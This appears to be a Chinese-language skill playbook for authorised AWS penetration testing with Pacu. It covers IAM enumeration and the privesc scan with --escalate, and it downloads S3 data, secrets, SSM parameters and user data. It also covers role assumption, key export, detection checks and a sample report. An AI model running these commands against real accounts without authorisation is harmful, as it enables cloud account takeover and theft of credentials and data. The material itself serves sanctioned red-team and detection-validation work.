| name | performing-cloud-penetration-testing-with-pacu |
| description | 使用开源 AWS 利用框架 Pacu 执行已授权的 AWS 渗透测试,枚举 IAM 配置、发现权限提升路径、测试凭据收集,并通过系统化的攻击模拟验证安全控制。
|
| domain | cybersecurity |
| subdomain | cloud-security |
| tags | ["cloud-security","aws","pacu","penetration-testing","offensive-security","iam-exploitation"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
使用 Pacu 执行云渗透测试
适用场景
- 对 AWS 环境进行已授权的渗透测试时
- 验证 IAM 策略、SCP 和权限边界的有效性时
- 评估一组受损 AWS 凭据的影响范围时
- 测试 GuardDuty、Security Hub 和自定义告警的检测能力时
- 针对 AWS 云基础设施构建红队演练(Red Teaming)时
不适用于:未授权的任何 AWS 账户测试、测试 AWS 基础设施本身(属于共同责任范畴)、未经 AWS 批准的 DDoS 或大规模攻击,或在没有明确授权和应急程序的情况下测试生产账户。
前置条件
- 已获取 AWS 账户所有者的书面授权,并定义了范围和交战规则
- 已安装 Pacu v1.5+(
pip install pacu)
- 具有有限初始权限的测试 AWS 凭据(模拟凭据泄露场景)
- 已启用 CloudTrail 日志,用于捕获所有 Pacu 活动以供事后审查
- 已启用 GuardDuty,用于验证 Pacu 活动的检测情况
- 已记录紧急联系人和回滚程序
工作流程
步骤 1:初始化 Pacu 会话并配置凭据
使用测试凭据设置 Pacu 会话,并定义测试范围。
pip install pacu
pacu
Pacu > set_keys --key-alias pentest-target
Pacu > whoami
Pacu > list
Pacu > search iam
Pacu > search ec2
Pacu > search s3
步骤 2:枚举 IAM 配置
运行 IAM 枚举模块,映射用户、角色、策略和组成员关系。
Pacu > run iam__enum_users_roles_policies_groups
Pacu > run iam__enum_permissions
Pacu > run iam__get_credential_report
Pacu > run iam__enum_roles
Pacu > data iam
步骤 3:扫描权限提升路径
使用 Pacu 的权限提升扫描器识别所有可利用的提升向量。
Pacu > run iam__privesc_scan
Pacu > run iam__privesc_scan --escalate
步骤 4:枚举并测试数据访问
发现可访问的数据存储,包括 S3、DynamoDB、RDS 和 Secrets Manager。
Pacu > run s3__bucket_finder
Pacu > run s3__download_bucket --bucket target-bucket --dl-names
Pacu > run ec2__enum
Pacu > run ec2__download_userdata
Pacu > run lambda__enum
Pacu > run secretsmanager__enum
Pacu > run ssm__download_parameters
Pacu > run ebs__enum_snapshots_unauth
步骤 5:测试横向移动和持久化
评估跨账户访问、服务利用和持久化机制。
Pacu > run sts__assume_role --role-arn arn:aws:iam::TARGET:role/CrossAccountRole
Pacu > run lambda__enum
Pacu > run ec2__enum
Pacu > run codebuild__enum
Pacu > run ecs__enum
Pacu > data all
步骤 6:验证检测并生成报告
审查安全控制是否检测到测试活动,并汇总发现。
aws guardduty list-findings \
--detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \
--finding-criteria '{
"Criterion": {
"updatedAt": {"GreaterThanOrEqual": ENGAGEMENT_START_EPOCH}
}
}' --output json
aws securityhub get-findings \
--filters '{
"CreatedAt": [{"Start": "ENGAGEMENT_START_ISO", "End": "ENGAGEMENT_END_ISO"}]
}'
Pacu > export_keys --all
Pacu > data all > pacu-session-export.json
aws iam delete-user --user-name pacu-test-user 2>/dev/null
aws iam delete-access-key --user-name pacu-test-user --access-key-id AKIA... 2>/dev/null
核心概念
| 术语 | 定义 |
|---|
| Pacu | 由 Rhino Security Labs 维护的开源 AWS 利用框架,为已授权渗透测试提供模块化攻击能力 |
| 权限提升扫描(Privilege Escalation Scan) | 对 IAM 策略进行自动化分析,识别将有限访问提升至管理控制的已知方法 |
| iam:PassRole | 关键 IAM 操作,允许主体为 AWS 服务分配角色,通过 Lambda、EC2 或 Glue 实现间接权限提升 |
| 跨账户角色担任(Cross-Account Role Assumption) | 通过信任策略配置使用 sts:AssumeRole 获取另一 AWS 账户的临时凭据 |
| 交战规则(Rules of Engagement) | 定义渗透测试范围、方法、时间和边界的书面协议 |
| 后渗透(Post-Exploitation) | 在获得初始访问后执行的活动,包括数据访问、横向移动和建立持久化 |
工具与系统
- Pacu:AWS 利用框架,拥有 50+ 个枚举、提升、持久化和数据外泄模块
- CloudFox:从攻击者角度识别攻击路径的 AWS 枚举工具
- Principal Mapper:IAM 权限提升图形分析工具,用于可视化提升路径
- ScoutSuite:多云安全评估工具,用于在测试前识别配置错误
- AWS CloudTrail:审计日志,用于捕获测试期间的所有 Pacu 活动
常见场景
场景:从受损开发者凭据开始的红队评估
场景背景:红队演练模拟攻击者从泄露的代码仓库获取开发者 AWS 访问密钥的场景。目标是确定从此起点可实现的最大影响。
方法:
- 使用受损凭据初始化 Pacu,运行
whoami 确认身份
- 运行
iam__enum_permissions 映射开发者的有效权限
- 执行
iam__privesc_scan 识别从开发者到管理员的提升路径
- 发现开发者可以调用
iam:PassRole + lambda:CreateFunction,创建带管理员角色的 Lambda
- 利用提升获取管理员级别的临时凭据
- 枚举 S3 存储桶、下载敏感数据并访问 Secrets Manager
- 验证 GuardDuty 是否检测到提升和数据访问活动
- 清理所有测试产物并记录完整攻击链
常见陷阱:Pacu 模块可能产生大量噪音,在短时间内生成许多 API 调用。GuardDuty 可能从测试者 IP 触发 Recon:IAMUser/MaliciousIPCaller 发现。与 SOC 团队协调,将测试 IP 加入白名单,或建立清晰的沟通渠道以区分测试和真实攻击。测试后务必清理持久化产物。
输出格式
AWS 渗透测试报告(Pacu)
=====================================
目标账户: 123456789012
测试周期: 2026-02-20 至 2026-02-23
起始凭据: 开发者角色(S3 只读、Lambda 调用)
授权: ROE 文件 #PT-2026-015
攻击路径摘要:
初始访问: S3 只读、Lambda 调用
最终获得访问: AdministratorAccess(完全账户入侵)
获得管理员权限时间: 47 分钟
GuardDuty 检测: 是(12 分钟后)
Security Hub 检测: 是(18 分钟后)
SOC 响应时间: 45 分钟(错过了提升窗口)
已执行的 Pacu 模块:
iam__enum_users_roles_policies_groups: 成功
iam__enum_permissions: 成功
iam__privesc_scan: 发现 3 条提升路径
s3__download_bucket: 访问了 4 个存储桶
lambda__enum: 枚举了 12 个函数
secretsmanager__enum: 获取了 8 个密钥
已利用的提升路径:
[1] iam:PassRole + lambda:CreateFunction -> AdminRole(严重)
[2] sts:AssumeRole -> CrossAccountProdRole(高)
[3] dev-policy 上的 iam:CreatePolicyVersion(严重)
访问的数据:
下载的 S3 对象: 1,247 个文件(2.3 GB)
Secrets Manager 值: 8 个密钥,包括数据库凭据
SSM 参数: 23 个参数,包括 API 密钥
检测结果:
GuardDuty 发现: 7 个
Security Hub 发现: 12 个
触发的自定义 CloudWatch 告警: 3 个
SOC 确认: 是(45 分钟响应)
建议:
1. 对所有开发者角色应用权限边界
2. 从非管理员主体移除 iam:PassRole
3. 将 SOC 对 IAM 提升告警的响应时间缩短到 15 分钟以内
4. 在非管理员 OU 中实施 SCP,阻止 iam:CreatePolicyVersion